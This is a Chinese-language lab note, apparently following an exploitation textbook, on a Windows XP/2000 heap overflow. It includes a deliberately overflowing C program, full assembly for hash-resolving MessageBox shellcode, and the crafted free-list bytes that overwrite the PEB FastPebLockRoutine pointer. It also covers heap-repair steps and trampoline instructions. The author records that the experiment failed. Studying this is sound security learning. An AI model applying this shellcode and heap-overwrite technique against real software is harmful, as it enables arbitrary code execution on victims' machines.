#include <windows.h>
char shellcode[]="\x90\x90\x90\x90\x90\x90\x90\x90……";
int main()
{
HLOCAL h1 = 0, h2 = 0;
HANDLE hp;
hp = HeapCreate(0,0x1000,0x10000);
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,200);
__asm int 3 //used to break process
memcpy(h1,shellcode,0x200); //overflow,0x200=512
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
return 0;
}
PEB中偏移為0x20,0x24的地方分別放著指向FastPebLockRoutine,和FastPebUnlockRoutine這兩個函數的指標,這兩個函數分別對應著函數的加鎖與解鎖,為多執行緒時,對該執行緒資料的保護操作,加上FastPebLockRoutine鎖了之後,該段資料在同一時間只允許一個執行緒對其操作,如果要讓另一執行緒使用該段資料必須使用FastPebUnlockRoutine解鎖。
所以這次打算通過程式堆的異常使程式呼叫Exitprocess,呼叫Exitprocess時也會呼叫這兩個函數,因此我們可以通過修改這兩個函數的指標來起到劫持的作用。
h1向堆中申請了 200 位元組的空間。memcpy 的上限錯誤地寫成了 0x200,這實際上是 512 位元組,所以會產生溢位。用偽造的指標覆蓋尾塊塊首中的空表指標,當 h2 分配時,將導致 DWORD SHOOT。0x7FFDF020 處的 RtlEnterCriticalSection()函數指標,直接修改為 shellcode 的位置。DWORD SHOOT 完畢後,堆溢位導致異常,最終將呼叫 ExitProcess()結束程序。ExitProcess()在結束程序時需要呼叫臨界區函數來同步執行緒,但卻從 P.E.B 中拿出了指向 shellcode 的指標,因此 shellcode 被執行。
+0x020 FastPebLockRoutine : //PEB加鎖
+0x024 FastPebUnlockRoutine : //解鎖
簡單實現狙擊RtlEnterCriticalSection()函數指標
環境:windows xp
編譯器:vc++
偵錯程式:OD
1.先寫一個shellcode,大體上與之前的彈出視窗shellcode思路相仿,然後把200位元組空間填滿後,再溢位,把下一個尾塊的空表指標給替換了,前向指標改成shellcode的起始地址,後向指標改成FastPebLockRoutine。這樣相當於程式呼叫這個函數的時候就呼叫的是你的shellcode。
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop //填充
cld //使DF標誌位復位
push 0x1E380A6A
push 0x4FD18963
push 0x0C917432 //儲存MassageBox,ExitProcess,LoadLibrary的hash值
mov esi,esp //堆疊指標放入esi暫存器
lea edi,dword ptr ds:[esi-0xC]
xor ebx,ebx
mov bh,0x4
sub esp,ebx
mov bx,0x3233
push ebx
push 0x72657375
push esp
xor edx,edx//user32
mov ebx,dword ptr fs:[edx+0x30]
mov ecx,dword ptr ds:[ebx+0xC]
mov ecx,dword ptr ds:[ecx+0x1C]
mov ecx,dword ptr ds:[ecx]
mov ebp,dword ptr ds:[ecx+0x8]//kernel32地址
lods dword ptr ds:[esi]
cmp eax,0x1E380A6A//比較MassageBox的hash值
jnz short 003A06E4
xchg eax,ebp
call dword ptr ds:[edi-0x8]//LoadLibrary(user32)
xchg eax,ebp
pushad
mov eax,dword ptr ss:[ebp+0x3C]//e_lfanew
mov ecx,dword ptr ss:[ebp+eax+0x78]
add ecx,ebp
mov ebx,dword ptr ds:[ecx+0x20]
add ebx,ebp//找到位於裡面的匯出函數名稱表
xor edi,edi
inc edi
mov esi,dword ptr ds:[ebx+edi*4]
add esi,ebp//遍歷名稱
cdq
movsx eax,byte ptr ds:[esi]
cmp al,ah
je short 003A070B
ror edx,0x7
add edx,eax
inc esi
jmp short 003A06FC//hash演演算法
cmp edx,dword ptr ss:[esp+0x1C]
jnz short 003A06F5
mov ebx,dword ptr ds:[ecx+0x24]
add ebx,ebp
mov di,word ptr ds:[ebx+edi*2]
mov ebx,dword ptr ds:[ecx+0x1C]
add ebx,ebp
add ebp,dword ptr ds:[ebx+edi*4]
xchg eax,ebp
pop edi
stos dword ptr es:[edi]
push edi
popad
cmp eax,0x1E380A6A
jnz short 003A06D7//找到函數地址
xor ebx,ebx
push ebx
push 0x74736577
push 0x6C696166
mov eax,esp
push ebx
push eax
push eax
push ebx
call dword ptr ds:[edi-0x4]
push ebx
call dword ptr ds:[edi-0x8]//彈出視窗並退出
nop
nop
nop
nop
nop
nop
nop
nop
\x16\x01\x1A\x00\x00\x10\x00\x00// head of the free block
\x88\x06\x3a\x00//指向shellcode的開頭
\x20\xf0\xfd\x7f//指向FastPebLockRoutine
2.但是直接把FastPebLockRoutine地址改了的話,shellcode中呼叫這個函數的函數就都沒辦法用了,所以修改一下shellcode前面。呼叫完函數進入shellcode之後再把FastPebLockRoutine還原。
(最後還是沒有實驗成功,應該是系統機制的問題,我改了FastPebLockRoutine的指標還是沒彈出視窗,標準實驗實在windows 2k下進行的,我是在xp下。改天下個2k的虛擬機器器重新整次,感覺好像是windows xp下FastPebLockRoutine指標的位置發生變化了)
MOV EAX,7FFDF020
MOV EBX,[7FFDF020]
MOV [EAX],EBX
雖然這次沒有成功。。函數的地方最後還是沒找到。但是還是瞭解了下堆溢位的應用。
還是根據書上的簡單做做總結吧。
首先堆偵錯要分偵錯態和常態,要用int 3去觸發異常,然後再attach程序,不能直接拖進od,或者可以修改檢測偵錯程式的函數的檢測值。比如修改IsDebugPresent的返回值。
還要注意修護環境,比如這次對FastPebLockRoutine指標的修改就必須要調回去,不然就會影響接下來的函數,同樣shellcode開始時也要注意環境的初始化,不然一些符號標誌位上可能會影響跳轉。
在堆溢位中,有時還需要修復被我們折騰得亂七八糟的堆區。通常,比較簡單修復堆區的
做法包括如下步驟。
(1)在堆區偏移 0x28 的地方存放著堆區所有空閒塊的總和 TotalFreeSize。
(2)把一個較大塊(或乾脆直接找個暫時不用的區域偽造一個塊首)塊首中標識自身大小的兩個位元組(self size)修改成堆區空閒塊總容量的大小(TotalFreeSize)。
(3)把該塊的 flag 位設定為 0x10(last entry 尾塊)。
(4)把 freelist[0]的前向指標和後向指標都指向這個堆塊。
這樣可以使整個堆區「看起來好像是」剛初始化完」只有一個大塊的樣子,不但可以繼續完成分配工作,還保護了堆中已有的資料。(這方法太強了,相當於直接新開了一塊堆區)
還有可能shellcode面對地址隨機化的問題,要像棧溢位運用jmp esp定位一樣,在程式中尋找跳板,因為堆溢位一般是把shellcode「繫結」到一個函數上的,因此可以用以下指令來起到跳板的作用。
CALL DWORD PTR [EDI + 0x78]
CALL DWORD PTR [ESI+0x4C]
CALL DWORD PTR [EBP+0x74]
(吾愛破解的OD不知道為什麼int 3中斷之後nop還是不能F7,F8。沒辦法觀察堆。得要用原版的OD異常彈出之後才能仔細觀察。下次整個原版OD慢慢再調次)